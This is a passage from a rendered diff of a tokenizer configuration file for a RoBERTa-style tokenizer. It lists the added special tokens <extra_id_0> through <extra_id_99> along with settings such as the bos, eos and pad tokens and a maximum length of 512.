|
687 |
+
"normalized": true,
|
688 |
+
"rstrip": false,
|
689 |
+
"single_word": false,
|
690 |
+
"special": true
|
691 |
+
},
|
692 |
+
"32081": {
|
693 |
+
"content": "<extra_id_18>",
|
694 |
+
"lstrip": true,
|
695 |
+
"normalized": true,
|
696 |
+
"rstrip": false,
|
697 |
+
"single_word": false,
|
698 |
+
"special": true
|
699 |
+
},
|
700 |
+
"32082": {
|
701 |
+
"content": "<extra_id_17>",
|
702 |
+
"lstrip": true,
|
703 |
+
"normalized": true,
|
704 |
+
"rstrip": false,
|
705 |
+
"single_word": false,
|
706 |
+
"special": true
|
707 |
+
},
|
708 |
+
"32083": {
|
709 |
+
"content": "<extra_id_16>",
|
710 |
+
"lstrip": true,
|
711 |
+
"normalized": true,
|
712 |
+
"rstrip": false,
|
713 |
+
"single_word": false,
|
714 |
+
"special": true
|
715 |
+
},
|
716 |
+
"32084": {
|
717 |
+
"content": "<extra_id_15>",
|
718 |
+
"lstrip": true,
|
719 |
+
"normalized": true,
|
720 |
+
"rstrip": false,
|
721 |
+
"single_word": false,
|
722 |
+
"special": true
|
723 |
+
},
|
724 |
+
"32085": {
|
725 |
+
"content": "<extra_id_14>",
|
726 |
+
"lstrip": true,
|
727 |
+
"normalized": true,
|
728 |
+
"rstrip": false,
|
729 |
+
"single_word": false,
|
730 |
+
"special": true
|
731 |
+
},
|
732 |
+
"32086": {
|
733 |
+
"content": "<extra_id_13>",
|
734 |
+
"lstrip": true,
|
735 |
+
"normalized": true,
|
736 |
+
"rstrip": false,
|
737 |
+
"single_word": false,
|
738 |
+
"special": true
|
739 |
+
},
|
740 |
+
"32087": {
|
741 |
+
"content": "<extra_id_12>",
|
742 |
+
"lstrip": true,
|
743 |
+
"normalized": true,
|
744 |
+
"rstrip": false,
|
745 |
+
"single_word": false,
|
746 |
+
"special": true
|
747 |
+
},
|
748 |
+
"32088": {
|
749 |
+
"content": "<extra_id_11>",
|
750 |
+
"lstrip": true,
|
751 |
+
"normalized": true,
|
752 |
+
"rstrip": false,
|
753 |
+
"single_word": false,
|
754 |
+
"special": true
|
755 |
+
},
|
756 |
+
"32089": {
|
757 |
+
"content": "<extra_id_10>",
|
758 |
+
"lstrip": true,
|
759 |
+
"normalized": true,
|
760 |
+
"rstrip": false,
|
761 |
+
"single_word": false,
|
762 |
+
"special": true
|
763 |
+
},
|
764 |
+
"32090": {
|
765 |
+
"content": "<extra_id_9>",
|
766 |
+
"lstrip": true,
|
767 |
+
"normalized": true,
|
768 |
+
"rstrip": false,
|
769 |
+
"single_word": false,
|
770 |
+
"special": true
|
771 |
+
},
|
772 |
+
"32091": {
|
773 |
+
"content": "<extra_id_8>",
|
774 |
+
"lstrip": true,
|
775 |
+
"normalized": true,
|
776 |
+
"rstrip": false,
|
777 |
+
"single_word": false,
|
778 |
+
"special": true
|
779 |
+
},
|
780 |
+
"32092": {
|
781 |
+
"content": "<extra_id_7>",
|
782 |
+
"lstrip": true,
|
783 |
+
"normalized": true,
|
784 |
+
"rstrip": false,
|
785 |
+
"single_word": false,
|
786 |
+
"special": true
|
787 |
+
},
|
788 |
+
"32093": {
|
789 |
+
"content": "<extra_id_6>",
|
790 |
+
"lstrip": true,
|
791 |
+
"normalized": true,
|
792 |
+
"rstrip": false,
|
793 |
+
"single_word": false,
|
794 |
+
"special": true
|
795 |
+
},
|
796 |
+
"32094": {
|
797 |
+
"content": "<extra_id_5>",
|
798 |
+
"lstrip": true,
|
799 |
+
"normalized": true,
|
800 |
+
"rstrip": false,
|
801 |
+
"single_word": false,
|
802 |
+
"special": true
|
803 |
+
},
|
804 |
+
"32095": {
|
805 |
+
"content": "<extra_id_4>",
|
806 |
+
"lstrip": true,
|
807 |
+
"normalized": true,
|
808 |
+
"rstrip": false,
|
809 |
+
"single_word": false,
|
810 |
+
"special": true
|
811 |
+
},
|
812 |
+
"32096": {
|
813 |
+
"content": "<extra_id_3>",
|
814 |
+
"lstrip": true,
|
815 |
+
"normalized": true,
|
816 |
+
"rstrip": false,
|
817 |
+
"single_word": false,
|
818 |
+
"special": true
|
819 |
+
},
|
820 |
+
"32097": {
|
821 |
+
"content": "<extra_id_2>",
|
822 |
+
"lstrip": true,
|
823 |
+
"normalized": true,
|
824 |
+
"rstrip": false,
|
825 |
+
"single_word": false,
|
826 |
+
"special": true
|
827 |
+
},
|
828 |
+
"32098": {
|
829 |
+
"content": "<extra_id_1>",
|
830 |
+
"lstrip": true,
|
831 |
+
"normalized": true,
|
832 |
+
"rstrip": false,
|
833 |
+
"single_word": false,
|
834 |
+
"special": true
|
835 |
+
},
|
836 |
+
"32099": {
|
837 |
+
"content": "<extra_id_0>",
|
838 |
+
"lstrip": true,
|
839 |
+
"normalized": true,
|
840 |
+
"rstrip": false,
|
841 |
+
"single_word": false,
|
842 |
+
"special": true
|
843 |
+
}
|
844 |
+
},
|
845 |
+
"additional_special_tokens": [
|
846 |
+
"<extra_id_99>",
|
847 |
+
"<extra_id_98>",
|
848 |
+
"<extra_id_97>",
|
849 |
+
"<extra_id_96>",
|
850 |
+
"<extra_id_95>",
|
851 |
+
"<extra_id_94>",
|
852 |
+
"<extra_id_93>",
|
853 |
+
"<extra_id_92>",
|
854 |
+
"<extra_id_91>",
|
855 |
+
"<extra_id_90>",
|
856 |
+
"<extra_id_89>",
|
857 |
+
"<extra_id_88>",
|
858 |
+
"<extra_id_87>",
|
859 |
+
"<extra_id_86>",
|
860 |
+
"<extra_id_85>",
|
861 |
+
"<extra_id_84>",
|
862 |
+
"<extra_id_83>",
|
863 |
+
"<extra_id_82>",
|
864 |
+
"<extra_id_81>",
|
865 |
+
"<extra_id_80>",
|
866 |
+
"<extra_id_79>",
|
867 |
+
"<extra_id_78>",
|
868 |
+
"<extra_id_77>",
|
869 |
+
"<extra_id_76>",
|
870 |
+
"<extra_id_75>",
|
871 |
+
"<extra_id_74>",
|
872 |
+
"<extra_id_73>",
|
873 |
+
"<extra_id_72>",
|
874 |
+
"<extra_id_71>",
|
875 |
+
"<extra_id_70>",
|
876 |
+
"<extra_id_69>",
|
877 |
+
"<extra_id_68>",
|
878 |
+
"<extra_id_67>",
|
879 |
+
"<extra_id_66>",
|
880 |
+
"<extra_id_65>",
|
881 |
+
"<extra_id_64>",
|
882 |
+
"<extra_id_63>",
|
883 |
+
"<extra_id_62>",
|
884 |
+
"<extra_id_61>",
|
885 |
+
"<extra_id_60>",
|
886 |
+
"<extra_id_59>",
|
887 |
+
"<extra_id_58>",
|
888 |
+
"<extra_id_57>",
|
889 |
+
"<extra_id_56>",
|
890 |
+
"<extra_id_55>",
|
891 |
+
"<extra_id_54>",
|
892 |
+
"<extra_id_53>",
|
893 |
+
"<extra_id_52>",
|
894 |
+
"<extra_id_51>",
|
895 |
+
"<extra_id_50>",
|
896 |
+
"<extra_id_49>",
|
897 |
+
"<extra_id_48>",
|
898 |
+
"<extra_id_47>",
|
899 |
+
"<extra_id_46>",
|
900 |
+
"<extra_id_45>",
|
901 |
+
"<extra_id_44>",
|
902 |
+
"<extra_id_43>",
|
903 |
+
"<extra_id_42>",
|
904 |
+
"<extra_id_41>",
|
905 |
+
"<extra_id_40>",
|
906 |
+
"<extra_id_39>",
|
907 |
+
"<extra_id_38>",
|
908 |
+
"<extra_id_37>",
|
909 |
+
"<extra_id_36>",
|
910 |
+
"<extra_id_35>",
|
911 |
+
"<extra_id_34>",
|
912 |
+
"<extra_id_33>",
|
913 |
+
"<extra_id_32>",
|
914 |
+
"<extra_id_31>",
|
915 |
+
"<extra_id_30>",
|
916 |
+
"<extra_id_29>",
|
917 |
+
"<extra_id_28>",
|
918 |
+
"<extra_id_27>",
|
919 |
+
"<extra_id_26>",
|
920 |
+
"<extra_id_25>",
|
921 |
+
"<extra_id_24>",
|
922 |
+
"<extra_id_23>",
|
923 |
+
"<extra_id_22>",
|
924 |
+
"<extra_id_21>",
|
925 |
+
"<extra_id_20>",
|
926 |
+
"<extra_id_19>",
|
927 |
+
"<extra_id_18>",
|
928 |
+
"<extra_id_17>",
|
929 |
+
"<extra_id_16>",
|
930 |
+
"<extra_id_15>",
|
931 |
+
"<extra_id_14>",
|
932 |
+
"<extra_id_13>",
|
933 |
+
"<extra_id_12>",
|
934 |
+
"<extra_id_11>",
|
935 |
+
"<extra_id_10>",
|
936 |
+
"<extra_id_9>",
|
937 |
+
"<extra_id_8>",
|
938 |
+
"<extra_id_7>",
|
939 |
+
"<extra_id_6>",
|
940 |
+
"<extra_id_5>",
|
941 |
+
"<extra_id_4>",
|
942 |
+
"<extra_id_3>",
|
943 |
+
"<extra_id_2>",
|
944 |
+
"<extra_id_1>",
|
945 |
+
"<extra_id_0>"
|
946 |
+
],
|
947 |
+
"bos_token": "<s>",
|
948 |
+
"clean_up_tokenization_spaces": false,
|
949 |
+
"cls_token": "<s>",
|
950 |
+
"eos_token": "</s>",
|
951 |
+
"errors": "replace",
|
952 |
+
"extra_special_tokens": {},
|
953 |
+
"mask_token": "<mask>",
|
954 |
+
"model_max_length": 512,
|
955 |
+
"pad_token": "<pad>",
|
956 |
+
"sep_token": "</s>",
|
957 |
+
"tokenizer_class": "RobertaTokenizer",
|
958 |
+
"trim_offsets": true,
|
959 |
+
"unk_token": "<unk>"
|
960 |
+
}
|
vocab.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|